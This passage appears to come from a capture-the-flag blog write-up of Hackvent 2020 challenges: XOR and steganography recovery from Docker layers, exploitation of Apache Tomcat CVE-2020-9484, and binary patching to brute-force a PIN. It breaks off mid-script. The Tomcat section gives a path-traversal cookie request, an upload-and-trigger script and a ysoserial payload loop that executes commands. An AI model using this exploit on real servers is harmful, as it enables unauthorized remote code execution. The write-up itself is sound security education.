of domestic rabbit. Sylvilagus includes 13 wild rabbit species, among them the seven types of cottontail. The European rabbit, which has been introduced on every continent except Antarctica, is familiar throughout the world as a wild prey animal and as a domesticated form of livestock and pet. With its widespread effect on ecologies and cultures, the rabbit (or bunny) is, in many areas of the world, a part of daily life-as food, clothing, a companion, and a source of artistic inspiration.\")\nopen('11.7z', 'wb').write(bytearray([i[_] ^ j[_%len(j)] for _ in range(len(i))]))\n<\/code>\n\n<p>The first argument is used as a filename, which content is read (this is supposed to be the provided image itself). This content is split by the second argument followed by a newline. The last element of the splitted array is assigned to the variable <span class=\"hl\">i<\/span>. The variable <span class=\"hl\">j<\/span> is set a static byte string, which is used as an <span class=\"hl\">XOR<\/span> key. The result is written to a file called <span class=\"hl\">11.7z<\/span>. Our goal is obviously to determine the second argument, which is used to split the contents of the image file.<\/p>\n\n<p>Since we know that the resulting file is supposed to be an <span class=\"hl\">7z<\/span> file, the header should begin with <span class=\"hl\">37 7A BC AF 27 1C<\/span>. So we only need to split the image content by a newline and determine if <span class=\"hl\">XOR<\/span>ing the first bytes of the splitted data with the static string result in a valid <span class=\"hl\">7z<\/span> header. If this is true, the last bytes of the splitted data (before the newline) are supposed to be the <span class=\"hl\">XOR<\/span> key:<\/p>\n\n<code>kali@kali:~\/hv20\/20$ cat find_key.py \n#!\/usr\/bin\/env python3\n\nct = open('bfd96926-dd11-4e07-a05a-f6b807570b5a.png','rb').read().split(b'\\n')\n\nfor i in range(len(ct)):\n  c = ct[i]\n  # byte string: R  a  b  b  i  t \n  # 7z header  : 37 7A BC AF 27 1C\n  if (len(c) &lt; 1): continue\n  if ((c[0] ^ ord('R') == 0x37) and\n      (c[1] ^ ord('a') == 0x7a) and\n      (c[2] ^ ord('b') == 0xbc) and\n      (c[3] ^ ord('b') == 0xaf) and\n      (c[4] ^ ord('i') == 0x27) and\n      (c[5] ^ ord('t') == 0x1c)):\n    print(ct[i-1])\n<\/code>\n\n<p>Running the script actually finds a valid candidate:<\/p>\n\n<code>kali@kali:~\/hv20\/20$ .\/find_key.py \nb'\\xc0(\\x8a\\xa2(\\x8a\\xa2(\\x8a\\xa2(\\x8a\\xa2(\\x8a\\xa2(\\x8a\\xa2\\xdcc*\\x00\\xa3(\\x8a\\xa2(\\x8a\\xa2(\\x8a\\xa2(\\x8a\\xa2(\\x8a\\xa2(\\x8ar\\x8f\\xfd?D\\x82>\\xf1E\\xbau\\x1c\\x00\\x00\\x00\\x00IEND\\xaeB`\\x82breadbread'\n<\/code>\n\n<p>The last bytes are <span class=\"hl\">breadbread<\/span>, which seems fairly reasonable for an <span class=\"hl\">XOR<\/span> key. Thus we only need to run the original <span class=\"hl\">11.py<\/span> script and provide <span class=\"hl\">bread<\/span> as the second argument (since the key is repeated providing <span class=\"hl\">bread<\/span> once is sufficient):<\/p>\n\n<code>kali@kali:~\/hv20\/20$ python 11.py bfd96926-dd11-4e07-a05a-f6b807570b5a.png bread\nkali@kali:~\/hv20\/20$ file 11.7z\n11.7z: 7-zip archive data, version 0.4\n<\/code>\n\n<p>Let's try to extract the resulting <span class=\"hl\"><\/span> archive:<\/p>\n\n<code>kali@kali:~\/hv20\/20$ 7z x 11.7z \n\n7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21\np7zip Version 16.02 (locale=en_US.utf8,Utf16=on,HugeFiles=on,64 bits,1 CPU Intel(R) Core(TM) i7-8750H CPU @ 2.20GHz (906EA),ASM,AES-NI)\n\nScanning the drive for archives:\n1 file, 8486734 bytes (8288 KiB)\n\nExtracting archive: 11.7z\n--\nPath = 11.7z\nType = 7z\nPhysical Size = 8486734\nHeaders Size = 122\nMethod = LZMA2:24m\nSolid = -\nBlocks = 1\n\nEverything is Ok\n\nSize:       17795584\nCompressed: 8486734\n<\/code>\n\n<p>The archive contains another archive called <span class=\"hl\">11.tar<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/20$ file 11.tar \n11.tar: POSIX tar archive\n<\/code>\n\n<p>This archive contains files to setup a container:<\/p>\n\n<code>kali@kali:~\/hv20\/20$ tar -xvf 11.tar \n1c63adeddbefb62258429939a0247538742b10dfd7d95cdc55c5ab76428ec974\/\n1c63adeddbefb62258429939a0247538742b10dfd7d95cdc55c5ab76428ec974\/VERSION\n1c63adeddbefb62258429939a0247538742b10dfd7d95cdc55c5ab76428ec974\/json\n1c63adeddbefb62258429939a0247538742b10dfd7d95cdc55c5ab76428ec974\/layer.tar\n1d66b052bd26bb9725d5c15a5915bed7300e690facb51465f2d0e62c7d644649.json\n7184b9ccb527dcaef747979066432e891b7487867de2bb96790a01b87a1cc50e\/\n7184b9ccb527dcaef747979066432e891b7487867de2bb96790a01b87a1cc50e\/VERSION\n7184b9ccb527dcaef747979066432e891b7487867de2bb96790a01b87a1cc50e\/json\n7184b9ccb527dcaef747979066432e891b7487867de2bb96790a01b87a1cc50e\/layer.tar\nab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1\/\nab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1\/VERSION\nab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1\/json\nab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1\/layer.tar\nbc7f356b13fa5818f568082beeb3bfc0f0fe9f9424163a7642bfdc12ba5ba82b\/\nbc7f356b13fa5818f568082beeb3bfc0f0fe9f9424163a7642bfdc12ba5ba82b\/VERSION\nbc7f356b13fa5818f568082beeb3bfc0f0fe9f9424163a7642bfdc12ba5ba82b\/json\nbc7f356b13fa5818f568082beeb3bfc0f0fe9f9424163a7642bfdc12ba5ba82b\/layer.tar\ne0f45634ac647ef43d22d4ea46fce543fc1d56ed338c72c712a6bc4ddb96fd46\/\ne0f45634ac647ef43d22d4ea46fce543fc1d56ed338c72c712a6bc4ddb96fd46\/VERSION\ne0f45634ac647ef43d22d4ea46fce543fc1d56ed338c72c712a6bc4ddb96fd46\/json\ne0f45634ac647ef43d22d4ea46fce543fc1d56ed338c72c712a6bc4ddb96fd46\/layer.tar\nmanifest.json\nrepositories\n<\/code>\n\n<p>The most important file is <span class=\"hl\">1d66b052bd26bb9725d5c15a5915bed7300e690facb51465f2d0e62c7d644649.json<\/span> in the top directory:<\/p>\n\n<code>kali@kali:~\/hv20\/20$ cat 1d66b052bd26bb9725d5c15a5915bed7300e690facb51465f2d0e62c7d644649.json \n{\"architecture\":\"amd64\",\"config\":{\"User\":\"bread\",\"Env\":[\"PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\"],\"Cmd\":[\"\/bin\/sh\",\"-c\",\"tail -f \/dev\/null\"],\"WorkingDir\":\"\/home\/bread\/\",\"ArgsEscaped\":true,\"OnBuild\":null},\"created\":\"2020-12-08T14:41:59.119577934+11:00\",\"history\":[{\"created\":\"2020-10-22T02:19:24.33416307Z\",\"created_by\":\"\/bin\/sh -c #(nop) ADD file:f17f65714f703db9012f00e5ec98d0b2541ff6147c2633f7ab9ba659d0c507f4 in \/ \"},{\"created\":\"2020-10-22T02:19:24.499382102Z\",\"created_by\":\"\/bin\/sh -c #(nop)  CMD [\\\"\/bin\/sh\\\"]\",\"empty_layer\":true},{\"created\":\"2020-12-08T14:41:33.015297112+11:00\",\"created_by\":\"RUN \/bin\/sh -c apk update \\u0026\\u0026 apk add  --update-cache --repository http:\/\/dl-3.alpinelinux.org\/alpine\/edge\/testing\/ --allow-untrusted steghide xxd # buildkit\",\"comment\":\"buildkit.dockerfile.v0\"},{\"created\":\"2020-12-08T14:41:33.4777984+11:00\",\"created_by\":\"RUN \/bin\/sh -c adduser --disabled-password --gecos '' bread # buildkit\",\"comment\":\"buildkit.dockerfile.v0\"},{\"created\":\"2020-12-08T14:41:33.487504964+11:00\",\"created_by\":\"WORKDIR \/home\/bread\/\",\"comment\":\"buildkit.dockerfile.v0\"},{\"created\":\"2020-12-08T14:41:59.119577934+11:00\",\"created_by\":\"RUN \/bin\/sh -c cp \/tmp\/t\/bunnies12.jpg bunnies12.jpg \\u0026\\u0026 steghide embed -e loki97 ofb -z 9 -p \\\"bunnies12.jpg\\\\\\\\\\\\\\\" -ef \/tmp\/t\/hidden.png -p \\\\\\\\\\\\\\\"SecretPassword\\\" -N -cf \\\"bunnies12.jpg\\\" -ef \\\"\/tmp\/t\/hidden.png\\\" \\u0026\\u0026 mkdir \/home\/bread\/flimflam \\u0026\\u0026 xxd -p bunnies12.jpg \\u003e flimflam\/snoot.hex \\u0026\\u0026 rm -rf bunnies12.jpg \\u0026\\u0026 split -l 400 \/home\/bread\/flimflam\/snoot.hex \/home\/bread\/flimflam\/flom \\u0026\\u0026 rm -rf \/home\/bread\/flimflam\/snoot.hex \\u0026\\u0026 chmod 0000 \/home\/bread\/flimflam \\u0026\\u0026 apk del steghide xxd # buildkit\",\"comment\":\"buildkit.dockerfile.v0\"},{\"created\":\"2020-12-08T14:41:59.119577934+11:00\",\"created_by\":\"USER bread\",\"comment\":\"buildkit.dockerfile.v0\",\"empty_layer\":true},{\"created\":\"2020-12-08T14:41:59.119577934+11:00\",\"created_by\":\"CMD [\\\"\/bin\/sh\\\" \\\"-c\\\" \\\"tail -f \/dev\/null\\\"]\",\"comment\":\"buildkit.dockerfile.v0\",\"empty_layer\":true}],\"os\":\"linux\",\"rootfs\":{\"type\":\"layers\",\"diff_ids\":[\"sha256:ace0eda...\"]}}\n<\/code>\n\n<p>Here we can see the commands which were executed. Cleaning this up a little bit results in the following commands:<\/p>\n\n<code>cp \/tmp\/t\/bunnies12.jpg bunnies12.jpg\nsteghide embed -e loki97 ofb -z 9 -p \"bunnies12.jpg\\\\\\\" -ef \/tmp\/t\/hidden.png -p \\\\\\\"SecretPassword\" -N -cf \"bunnies12.jpg\" -ef \"\/tmp\/t\/hidden.png\"\nmkdir \/home\/bread\/flimflam\nxxd -p bunnies12.jpg \\u003e flimflam\/snoot.hex\nrm -rf bunnies12.jpg\nsplit -l 400 \/home\/bread\/flimflam\/snoot.hex \/home\/bread\/flimflam\/flom\nrm -rf \/home\/bread\/flimflam\/snoot.hex\nchmod 0000 \/home\/bread\/flimflam<\/code>\n\n<p>The first command contains a troll because the escaped backslashes are a little bit confusing. The password used for steghide <span class=\"hl\">steghide<\/span> is actually <span class=\"hl\">bunnies12.jpg\\\\\\\" -ef \/tmp\/t\/hidden.png -p \\\\\\\"SecretPassword<\/span> (which are not arguments to <span class=\"hl\">steghide<\/span>).<\/p>\n\n<p>The file produced with <span class=\"hl\">steghide<\/span> is converted to hex using <span class=\"hl\">xxd<\/span> and splitted into serveral little files (<span class=\"hl\">flom...<\/span>) using <span class=\"hl\">split<\/span>. At last the permissions on <span class=\"hl\">\/home\/bread\/flimflam<\/span> are set to <span class=\"hl\">0000<\/span>, which simply means that we need to change them or just use root to access them. In order to recover the original file, which was embedded with steghide (<span class=\"hl\">hidden.png<\/span>), we need to reverse the steps.<\/p>\n\n<p>At first let's recombine the splittes files into one file. In order to do this, we change to the corresponding directory and extract the <span class=\"hl\">layer.tar<\/span> file:<\/p>\n\n<code>kali@kali:~\/hv20\/20\/ab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1$ tar -xvf layer.tar \netc\/\netc\/apk\/\netc\/apk\/world\nhome\/\nhome\/bread\/\nhome\/bread\/flimflam\/\nhome\/bread\/flimflam\/.wh..wh..opq\nhome\/bread\/flimflam\/flomaa\nhome\/bread\/flimflam\/flomab\nhome\/bread\/flimflam\/flomac\nhome\/bread\/flimflam\/flomad\nhome\/bread\/flimflam\/flomae\n...\n<\/code>\n\n<p>Now we change to <span class=\"hl\">root<\/span> and cat all splitted files into one file:<\/p>\n\n<code>kali@kali:~\/hv20\/20\/ab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1$ sudo bash\n[sudo] password for kali: \nroot@kali:\/home\/kali\/hv20\/20\/ab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1# cd home\/bread\/flimflam\/\nroot@kali:\/home\/kali\/hv20\/20\/ab2b751e14409f169383b5802e61764fb4114839874ff342586ffa4f968de0c1\/home\/bread\/flimflam# cat flom* >> \/home\/kali\/hv20\/20\/snoot.hex\n<\/code>\n\n<p>At next we decode the hex data to binary using <span class=\"hl\">xxd<\/span>, which results in the file <span class=\"hl\">bunnies12.jpg<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/20$ xxd -p -r snoot.hex > bunnies12.jpg \nkali@kali:~\/hv20\/20$ file bunnies12.jpg \nbunnies12.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 4032x2268, components 3\n<\/code>\n\n<p>Now we extract the <span class=\"hl\">hidden.png<\/span> file using <span class=\"hl\">steghide<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/20$ steghide extract -sf bunnies12.jpg -xf hidden.png -p \"bunnies12.jpg\\\\\\\" -ef \/tmp\/t\/hidden.png -p \\\\\\\"SecretPassword\"\nwrote extracted data to \"hidden.png\".\n<\/code>\n\n<p>This file contains a QR code:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv20_03.png\"\/><\/p>\n\n<p>Since the QR code was not correctly scanned at first, I added a white border around it and removed the alpha channel:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv20_04.png\"\/><\/p>\n\n<p>Now the QR code can be scanned e.g. using <span class=\"hl\">zbarimg<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/20$ zbarimg hidden_with_border.png \nQR-Code:HV20{My_pr3c10u5_my_r363x!!!,_7hr0w_17_1n70_7h3_X1._-_64l4dr13l}\n<\/code>\n\n<p>The flag is <span class=\"hl\">HV20{My_pr3c10u5_my_r363x!!!,_7hr0w_17_1n70_7h3_X1._-_64l4dr13l}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"21\">HV20.21 Threatened Cat<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/21.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"hard\">Hard<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_expl.png\" width=\"20px\"\/> Exploitation<br\/><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_web.png\" width=\"20px\"\/> Web Security<\/td><\/tr>\n<tr><td>Author:<\/td><td>inik<\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nYou can feed this cat with many different things, but only a certain kind of file can endanger the cat.\n\nDo you find that kind of files? And if yes, can you use it to disclose the flag? Ahhh, by the way: The cat likes to hide its stash in \/usr\/bin\/catnip.txt.\n\nNote: The cat is currently in hibernation and will take a few seconds to wake up.\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>On the provided website files can be uploaded:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv21_01.png\" width=\"600px\"\/><\/p>\n\n<p>After uploading a simple <span class=\"hl\">.txt<\/span> file we can see the result:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv21_02.png\" width=\"600px\"\/><\/p>\n\n<p>The last information listed states that the file looks harmless. According to the description we need to find the file type, which endangers the cat.<\/p>\n\n<p>By uploading some serialized java data (<span class=\"hl\">java_ser<\/span>) the cat is threatened:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv21_03.png\" width=\"600px\"\/><\/p>\n\n<p>Recently there have been two major RCE security vulnerabilites in <span class=\"hl\">Apache Tomcat<\/span>, the first one being <a href=\"https:\/\/tomcat.apache.org\/security-9.html#Fixed_in_Apache_Tomcat_9.0.31\" rel=\"noopener noreferrer\" target=\"_blank\">CVE-2020-1938 (\"Ghostcat\")<\/a> and the second one <a href=\"https:\/\/tomcat.apache.org\/security-9.html#Fixed_in_Apache_Tomcat_9.0.35\" rel=\"noopener noreferrer\" target=\"_blank\">CVE-2020-9484<\/a>, which allows an attacker to deserialize an arbitrary file on the server because of a directory traversal vulnerability within the <span class=\"hl\">JSESSIONID<\/span>. <a href=\"https:\/\/www.redtimmy.com\/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit\/\" rel=\"noopener noreferrer\" target=\"_blank\">This article<\/a> explains the vulnerability pretty well.<\/p>\n\n<p>Since we can upload arbitrary files and also know the directory, where there files are stored, we can easily test for this vulnerability.<\/p>\n\n<p>We reupload the serialized java data with the <span class=\"hl\">.session<\/span> extension (e.g. <span class=\"hl\">test.session<\/span>):<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv21_04.png\" width=\"600px\"\/><\/p>\n\n<p>Now we try to deserialize the data we uploaded by setting the <span class=\"hl\">JSESSIONID<\/span> to it using directory traversal. We ommit the <span class=\"hl\">.session<\/span> extensions, since it is added by tomcat:<\/p>\n\n<code>kali@kali:~\/hv20\/21$ curl -v 'https:\/\/a446a817-341c-4e0e-a88f-466feea4a435.idocker.vuln.land\/cat\/' -H 'Cookie: JSESSIONID=..\/..\/..\/..\/..\/..\/..\/..\/usr\/local\/uploads\/test'\n...\n&lt; HTTP\/2 500 \n...\n&lt;!doctype html&gt;&lt;html lang=\"en\"&gt;&lt;head&gt;&lt;title&gt;HTTP Status 500 \u2013 Internal Server Error&lt;\/title&gt;&lt;style type=\"text\/css\"&gt;body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}&lt;\/style&gt;&lt;\/head&gt;&lt;body&gt;&lt;h1&gt;HTTP Status 500 \u2013 Internal Server Error&lt;\/h1&gt;&lt;hr class=\"line\" \/&gt;&lt;p&gt;&lt;b&gt;Type&lt;\/b&gt; Exception Report&lt;\/p&gt;&lt;p&gt;&lt;b&gt;Message&lt;\/b&gt; Error deserializing Session [..&#47;..&#47;..&#47;..&#47;..&#47;..&#47;..&#47;..&#47;usr&#47;local&#47;uploads&#47;test]&lt;\/p&gt;&lt;p&gt;&lt;b&gt;Description&lt;\/b&gt; The server encountered an unexpected condition that prevented it from fulfilling the request.&lt;\/p&gt;&lt;p&gt;&lt;b&gt;Exception&lt;\/b&gt;&lt;\/p&gt;&lt;pre&gt;java.lang.IllegalStateException: Error deserializing Session [..&#47;..&#47;..&#47;..&#47;..&#47;..&#47;..&#47;..&#47;usr&#47;local&#47;uploads&#47;test]\n        org.apache.catalina.session.PersistentManagerBase.loadSessionFromStore(PersistentManagerBase.java:770)\n        org.apache.catalina.session.PersistentManagerBase.swapIn(PersistentManagerBase.java:714)\n        org.apache.catalina.session.PersistentManagerBase.findSession(PersistentManagerBase.java:493)\n        org.apache.catalina.connector.Request.doGetSession(Request.java:2978)\n        org.apache.catalina.connector.Request.getSessionInternal(Request.java:2698)\n...\n&lt;\/pre&gt;* Connection #0 to host a446a817-341c-4e0e-a88f-466feea4a435.idocker.vuln.land left intact\n&lt;p&gt;&lt;b&gt;Note&lt;\/b&gt; The full stack trace of the root cause is available in the server logs.&lt;\/p&gt;&lt;hr class=\"line\" \/&gt;&lt;h3&gt;Apache Tomcat\/9.0.34&lt;\/h3&gt;&lt;\/body&gt;&lt;\/html&gt;<\/code>\n\n<p>We get a <span class=\"hl\">500 Internal Server Error<\/span>! This means that tomcat actually tried to deserialize our data.<\/p>\n\n<p>In order to create an actual payload we can use <a href=\"https:\/\/github.com\/frohoff\/ysoserial\" rel=\"noopener noreferrer\" target=\"_blank\">ysoserial<\/a>. Since we do not know in advance, which classes are available on the system, we can just test the different payloads quickly. For this let's create a file with the different payload names:<\/p>\n\n<code>kali@kali:\/opt\/ysoserial$ cat payloads.txt \nBeanShell1\nC3P0\nClojure\nCommonsBeanutils1\nCommonsCollections1\nCommonsCollections2\nCommonsCollections3\nCommonsCollections4\nCommonsCollections5\nCommonsCollections6\nCommonsCollections7\nFileUpload1\nGroovy1\n...\n<\/code>\n\n<p>In order to automate the uploading process, a simple python script will help. The script upload the serialized data file <span class=\"hl\">java.session<\/span>, triggers the deserialization by setting the <span class=\"hl\">JSESSIONID<\/span> and then tries to access the flag file <span class=\"hl\">catnip.txt<\/span>, which is supposed to be copied to the uploads directory by our payload:<\/p>\n\n<code>kali@kali:~\/hv20\/21$ cat upload0r.py \n#!\/usr\/bin\/env python3\n\nimport requests\nimport urllib3\nurllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)\n\n#url = 'https:\/\/01252eee-52d7-4c0e-b7b6-66235d2c04a9.idocker.vuln.land\/cat\/'\nurl = 'https:\/\/a446a817-341c-4e0e-a88f-466feea4a435.idocker.vuln.land\/cat\/'\np = {'https':'http:\/\/127.0.0.1:8080'}\n\npl = open('\/home\/kali\/hv20\/21\/java.session','rb').read()\nr = requests.post(url, files=( ('file', ('java.session', pl, 'application\/octet-stream')),), proxies=p, verify=False)\nif ('threatening this cat' in r.text):\n  print('ok')\n  h = {'Cookie':'JSESSIONID=..\/..\/..\/..\/..\/..\/..\/..\/usr\/local\/uploads\/java'}\n  r = requests.get(url, headers=h, proxies=p, verify=False)\n\n  r = requests.get(url+'files\/catnip.txt', proxies=p, verify=False)\n  if (r.status_code == 404):\n    print('nope :(')\n  else:\n    print(r.text)\n<\/code>\n\n<p>Now we can iterate over the different payloads using <span class=\"hl\">cp \/usr\/bin\/catnip.txt \/usr\/local\/uploads\/<\/span> as the command to be executed:<\/p>\n\n<code>kali@kali:\/opt\/ysoserial$ for f in $(cat payloads.txt); do echo $f; \/usr\/lib\/jvm\/java-8-openjdk-amd64\/jre\/bin\/java -jar ysoserial-master-SNAPSHOT.jar $f \"cp \/usr\/bin\/catnip.txt \/usr\/local\/uploads\/\" > ~\/hv20\/21\/java.session && ~\/hv20\/21\/upload0r.py; done\nBeanShell1\nPicked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true\nok\nnope :(\nC3P0\nPicked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true\nError while generating or serializing payload\njava.lang.IllegalArgumentException: Command format is: <base_url>:<classname>\n        at ysoserial.payloads.C3P0.getObject(C3P0.java:48)\n        at ysoserial.GeneratePayload.main(GeneratePayload.java:34)\nClojure\nPicked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true\nok\nnope :(\nCommonsBeanutils1\nPicked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true\nok\nnope :(\nCommonsCollections1\nPicked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true\nok\nnope :(\nCommonsCollections2\nPicked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true\nok\nHV20{!D3s3ri4liz4t10n_rulz!}\n<\/code>\n\n<p>The <span class=\"hl\">CommonsCollections2<\/span> payload was successfully executed.<\/p>\n\n<p>The flag is <span class=\"hl\">HV20{!D3s3ri4liz4t10n_rulz!}<\/span>.<\/p><br\/><hr\/>\n<h2 id=\"22\">HV20.22 Padawanlock<\/h2>\n\n<table class=\"tblChlg\"><tr>\n<td width=\"200px\"><img src =\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/22.png\" width=\"200px\"\/><\/td>\n<td valign=\"top\">\n<table class=\"tblChlgInner\">\n<tr><td>Level:<\/td><td><span class=\"hard\">Hard<\/span><\/td><\/tr>\n<tr><td>Categories:<\/td><td><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/cat_rev.png\" width=\"20px\"\/> Reverse Engineering<\/td><\/tr>\n<tr><td>Author:<\/td><td>inik<\/td><\/tr>\n<\/table>\n<\/tr>\n<tr><td colspan=\"2\">\n<pre>\nA new apprentice Elf heard about \"Configuration as Code\". When he had to solve the problem to protected a secret he came up with this \"very sophisticated padlock\".\n\n<span class=\"fake_link\">Download<\/span>\n<\/pre>\n<\/td><\/tr>\n<\/table>\n\n<p>The provided file is a <span class=\"hl\">32-bit ELF executable:<\/span>:<\/p>\n\n<code>kali@kali:~\/hv20\/22$ file padawanlock\npadawanlock: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter \/lib\/ld-linux.so.2, BuildID[sha1]=56e8cc633ab14ebd1c6fdd3bfda3ebd100a6a45e, for GNU\/Linux 3.2.0, stripped\n<\/code>\n\n<p>Using <span class=\"hl\">ghidra<\/span> we can get a quick overview of the functionality of the program:<\/p>\n\n<p><img decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2020\/12\/hv22_01.png\" width=\"800px\"\/><\/p>\n\n<p>Within the <span class=\"hl\">main<\/span> function a 6-digit PIN is read using <span class=\"hl\">gets<\/span>. The entered string is converted to an integer by calling <span class=\"hl\">atoi<\/span>. The resulting integer is multiplied by <span class=\"hl\">0x14<\/span> and added to a static address (<span class=\"hl\">0x1124b<\/span> in ghidra). The resulting address is called. At last the string stored at <span class=\"hl\">0x132602e<\/span> is displayed.<\/p>\n\n<p>Running the program looks like this:<\/p>\n\n<code>kali@kali:~\/hv20\/22$ .\/padawanlock\nPIN (6 digits): 012345\nUnlocked secret is: _TO_GET_NEAR_A_CIVILIZED_SYSTEM.)}\n<\/code>\n\n<p>We can recognize a little delay after entering the PIN, which is probably a bruteforce protection.<\/p>\n\n<p>Let's have a look at the instructions at the static address, which is called using our input as an offset:<\/p>\n\n<code>[0x000010a0]&gt; pd 20 @ 0x124b\n|           ; DATA XREF from fcn.000011d9 @ +0x3c\n|           ; CODE XREF from fcn.00001241 @ +0xc4b251\n|           0x0000124b      b97c2a5001     mov ecx, 0x1502a7c\n|           ; CODE XREF from fcn.00001241 @ 0x1254\n|       .-&gt; 0x00001250      49             dec ecx\n|       :   0x00001251      83f900         cmp ecx, 0\n|       `=&lt; 0x00001254      75fa           jne 0x1250\n|           0x00001256      c6037b         mov byte [ebx], 0x7b        ; '{'\n|                                                                      ; [0x7b:1]=0\n|           0x00001259      43             inc ebx\n|       ,=&lt; 0x0000125a      e914dead00     jmp 0xadf073\n        |   ; CODE XREF from fcn.00001241 @ +0xd56dc1\n        |   0x0000125f      b9a8145001     mov ecx, 0x15014a8\n        |   ; CODE XREF from fcn.00001241 @ +0x27\n       .--&gt; 0x00001264      49             dec ecx\n       :|   0x00001265      83f900         cmp ecx, 0\n       `==&lt; 0x00001268      75fa           jne 0x1264\n        |   0x0000126a      c60346         mov byte [ebx], 0x46        ; 'F'\n        |                                                              ; [0x46:1]=0\n        |   0x0000126d      43             inc ebx\n       ,==&lt; 0x0000126e      e9583e8c00     jmp 0x8c50cb\n       ||   ; CODE XREF from fcn.00001241 @ +0x1ad911\n       ||   0x00001273      b9c30d5001     mov ecx, 0x1500dc3\n       ||   ; CODE XREF from fcn.00001241 @ +0x3b\n      .---&gt; 0x00001278      49             dec ecx\n      :||   0x00001279      83f900         cmp ecx, 0\n      `===&lt; 0x0000127c      75fa           jne 0x1278\n       ||   0x0000127e      c6034d         mov byte [ebx], 0x4d        ; 'M'\n       ||                                                              ; [0x4d:1]=0\n       ||   0x00001281      43             inc ebx\n<\/code>\n\n<p>The pattern here repeats over and over again: a quite huge value (e.g. <span class=\"hl\">0x1502a7c<\/span>) is stored in <span class=\"hl\">ecx<\/span>. This value is then decremented until <span class=\"hl\">0<\/span> is reached. At next a single character of the output is moved to the address stored in <span class=\"hl\">ebx<\/span>. After this <span class=\"hl\">ebx<\/span> is incremented (in order to reference the next character of the output) and a jump to the next block of this kind follows.<\/p>\n\n<p>The beginning of each block (decrementing <span class=\"hl\">ecx<\/span> over and over again until <span class=\"hl\">0<\/span> is reached) causes the little delay we noticed after entering the PIN. If this delay is not present, we can probably bruteforce the PIN quite fast, since 6 digits = <span class=\"hl\">10**6 = 1.000.000<\/span> possibilites are not too much.<\/p>\n\n<p>In order to remove the delay, a simply patch is sufficient. We only need to replace the following instructions ...<\/p>\n\n<code>|       .-&gt; 0x00001250      49             dec ecx\n|       :   0x00001251      83f900         cmp ecx, 0\n|       `=&lt; 0x00001254      75fa           jne 0x1250\n<\/code>\n\n<p>... with:<\/p>\n\n<code>|           0x00001250      90             nop\n|           0x00001251      90             nop\n|           0x00001252      90             nop\n|           0x00001253      90             nop\n|           0x00001254      90             nop\n|           0x00001255      90             nop\n<\/code>\n\n<p>This way the huge value is still stored in <span class=\"hl\">ecx<\/span>, but the execution directly proceeds not decrementing it until <span class=\"hl\">0<\/span>. This effectively removes the delay.<\/p>\n\n<p>In order to replace the mentioned instructions, a small python script will do:<\/p>\n\n<code>kali@kali:~\/hv20\/22$ cat replac0r.py \n#!\/usr\/bin\/env python3\n\nct = open('padawanlock','rb').read()\nct = ct.replace(bytes.fromhex('4983f90075fa'), bytes.fromhex('909090909090'))\n\nf = open('padawanlock_patched','wb')\nf.write(ct)\nf.close()\n<\/code>\n\n<p>The adjusted <span class=\"hl\">padawanlock_patched<\/span> has no delay anymore and can be used to bruteforce the PIN with the following python script:<\/p>\n\n<code>kali@kali:~\/hv20\/22$ cat brut0r.py \n#!\/usr\/bin\/env python3\n\nimport 